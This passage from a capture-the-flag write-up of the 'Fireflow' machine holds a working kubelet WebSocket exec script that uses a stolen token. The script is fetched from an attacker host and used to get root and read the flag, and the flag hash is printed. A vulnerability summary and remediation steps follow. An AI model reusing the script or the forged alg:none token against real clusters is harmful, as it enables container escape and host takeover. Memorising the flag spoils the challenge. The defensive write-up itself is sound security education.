ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
args = "&".join(f"command={part}" for part in cmd_parts)
url = (f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}"
f"?output=1&error=1&{args}")
async with websockets.connect(
url, ssl=ctx,
additional_headers={"Authorization": f"Bearer {TOKEN}"},
subprotocols=["v4.channel.k8s.io"],
open_timeout=10
) as ws:
try:
while True:
data = await asyncio.wait_for(ws.recv(), timeout=5)
if isinstance(data, bytes) and len(data) > 1:
sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
sys.stdout.flush()
except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
pass
asyncio.run(ws_exec(COMMAND.split()))I transfer it to the pod via python -m http.server and execute it to get root:
mcp@mcp-server-54464cb475-29ztf:/tmp$ curl -O 10.10.4.4/kube.py
curl -O 10.10.4.4/kube.py
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1260 100 1260 0 0 3700 0 --:--:-- --:--:-- --:--:-- 3705
mcp@mcp-server-54464cb475-29ztf:/tmp$ python3 kube.py
python3 kube.py
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
{"metadata":{},"status":"Success"}curl — cheatsheet reference
Root Flag#
I catch the root flag, Fireflow is pwned:
mcp@mcp-server-54464cb475-29ztf:/tmp$ python3 kube.py "cat /host/root/root/root.txt"
python3 kube.py "cat /host/root/root/root.txt"
e7d69bfd0f6e6ba111bca81a164cfdca
{"metadata":{},"status":"Success"}Pwned#
Vulnerabilities#
Beyond root, let me summarize which vulnerabilities I found and used on Fireflow:
Vulnerabilities Summary#
| Vulnerability | CVE / CWE | Severity | Root Cause | Real-World Impact |
|---|---|---|---|---|
| Langflow exec() Injection | CVE-2026-33017 / CWE-94: Improper Control of Generation of Code | Critical | User-supplied flow node Python is passed directly into exec() via the unauthenticated /api/v1/build_public_tmp/{flow_id}/flow endpoint; claimed fix in 1.8.2 was never applied | Unauthenticated RCE as www-data, full Langflow service compromise |
| Credentials in Process Environment | CWE-214: Invocation of Process Using Visible Sensitive Information | High | Langflow systemd unit passes LANGFLOW_SUPERUSER_PASSWORD as a plain-text env var; all child processes including shells inherit it | Superuser password disclosure to any process running under the service account |
| Password Reuse: nightfall | CWE-521: Weak Password Requirements | High | Langflow superuser password reused verbatim for the nightfall OS account | Lateral movement from www-data to nightfall via SSH |
| JWT alg:none Acceptance | CWE-347: Improper Verification of Cryptographic Signature | Critical | MCP Tool Registry advertises and accepts "alg":"none" — tokens with empty signatures are treated as valid; no secret required | Unauthenticated admin access to the MCP registry, arbitrary Python tool registration |
| MCP Arbitrary Code Execution | CWE-94: Improper Control of Generation of Code | Critical | Admin POST /api/v1/tools accepts a code field containing arbitrary Python executed on invocation with no sandboxing | RCE as mcp inside the Kubernetes pod, container compromise |
| Kubernetes nodes/proxy Overpermission | CWE-269: Improper Privilege Management | High | MCP service-account granted get on nodes/proxy, allowing unauthenticated kubelet API access including WebSocket exec to any pod | Arbitrary command execution in any pod on the node via kubelet exec |
| node-exporter hostPath + hostPID | CWE-250: Execution with Unnecessary Privileges | Critical | node-exporter DaemonSet mounts host / at /host/root and sets hostPID=true; any exec into the container gives full host filesystem read/write as root | Complete host filesystem access, root flag read, potential persistent backdoor |
Remediation#
If I were the admin of this machine, these are the steps to mitigate the complete kill chain:
Langflow exec() Injection: CVE-2026-33017 (CWE-94)#
Upgrade to Langflow ≥ 1.9.0 which removes the data parameter from the public build endpoint entirely. As an immediate workaround, block the build endpoint at the reverse proxy level:
# nginx — add inside the flow.fireflow.htb server block
location ~ ^/api/v1/build_public_tmp/.*/flow$ {
return 403;
}Verify the endpoint is blocked:
root@fireflow:~# curl -sk -X POST "https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow" \
-H "Content-Type: application/json" -d '{"data":{}}'
403 Forbiddencurl — cheatsheet reference
Credentials in Process Environment: CWE-214#
Move the Langflow superuser password out of the environment into a credentials file readable only by the service account, then reference it via EnvironmentFile in the systemd unit:
# Create a restricted credentials file
root@fireflow:~# cat > /etc/langflow/secrets << 'EOF'
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=<new-strong-password>
EOF
root@fireflow:~# chmod 0400 /etc/langflow/secrets
root@fireflow:~# chown langflow:langflow /etc/langflow/secrets
# Edit the systemd unit — replace Environment= lines with:
root@fireflow:~# systemctl edit langflow
# Add under [Service]:
# EnvironmentFile=/etc/langflow/secrets
root@fireflow:~# systemctl daemon-reload && systemctl restart langflowConfirm the password no longer leaks to child processes:
root@fireflow:~# cat /proc/$(pgrep -f langflow | head -1)/environ | tr '\0' '\n' | grep -i SUPERUSER
# should return nothingPassword Reuse: nightfall (CWE-521)#
Set a unique strong password for the nightfall account and enforce password policy:
root@fireflow:~# passwd nightfall
New password:
Retype new password:
passwd: password updated successfully
root@fireflow:~# cat /etc/shadow | grep nightfall
nightfall:$6$<new-hash>...:20000:0:99999:7:::Enforce minimum complexity by installing and configuring libpam-pwquality:
root@fireflow:~# apt install libpam-pwquality -y
root@fireflow:~# sed -i 's/# minlen/minlen/' /etc/security/pwquality.conf
root@fireflow:~# echo "password requisite pam_pwquality.so retry=3 minlen=16 difok=4" \
>> /etc/pam.d/common-passwordJWT alg:none Acceptance: CWE-347#
Remove "none" from the list of accepted algorithms in the MCP registry config and enforce HS256 with a strong secret:
# Inside the MCP pod or its config map — patch the JWT validation
root@fireflow:~# kubectl -n default edit configmap mcp-config
# Change:
# supported_algorithms: ["HS256", "none"]
# To:
# supported_algorithms: ["HS256"]
# jwt_secret: "<32-byte-random-secret>"
root@fireflow:~# kubectl rollout restart deployment mcp-serverVerify the forged token is now rejected:
$ curl -s -X POST http://127.0.0.1:30080/api/v1/tools \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4ifQ." \
-H "Content-Type: application/json" -d '{"name":"x","code":"pass"}'
{"detail":"Invalid token"}curl — cheatsheet reference
MCP Arbitrary Code Execution: CWE-94#
The code field on POST /api/v1/tools should be removed entirely or, at minimum, tools should be pre-registered at deploy time via a static config file rather than accepted at runtime. If dynamic registration is a product requirement, execute tool code in a sandboxed subprocess with no network access:
# Replace direct exec() with a restricted subprocess
import subprocess, sys
result = subprocess.run(
[sys.executable, "-c", tool_code],
capture_output=True, text=True, timeout=5,
env={}, # no inherited env
cwd="/tmp",
user="nobody" # drop privileges
)Kubernetes nodes/proxy Overpermission: CWE-269#
Remove the nodes/proxy GET permission from the MCP service-account RBAC role. It has no legitimate use for a tool registry:
root@fireflow:~# kubectl edit clusterrole mcp-role
# Remove this block entirely:
# - apiGroups: [""]
# resources: ["nodes/proxy"]
# verbs: ["get"]
root@fireflow:~# kubectl auth can-i get nodes/proxy \
--as=system:serviceaccount:default:mcp-sa
nonode-exporter hostPath + hostPID: CWE-250#
Remove the host root mount and hostPID from the node-exporter DaemonSet. Prometheus node-exporter only needs /proc, /sys, and / for specific metrics — scope the mounts to what is actually required and enforce read-only:
root@fireflow:~# kubectl -n monitoring edit daemonset prometheus-prometheus-node-exporter
# Change hostPID: true --> hostPID: false
# Replace the full host / mount with scoped read-only mounts:
# - name: root
# hostPath:
# path: /
# Remove it entirely. Add only what metrics require:
# - name: proc
# hostPath: { path: /proc }
# - name: sys
# hostPath: { path: /sys }
# And ensure all mounts use readOnly: true
root@fireflow:~# kubectl rollout restart daemonset/prometheus-prometheus-node-exporter -n monitoringVerify hostPID is gone and /host/root is no longer mounted:
root@fireflow:~# kubectl -n monitoring get pod -l app.kubernetes.io/name=prometheus-node-exporter \
-o jsonpath='{.items[0].spec.hostPID}'
false
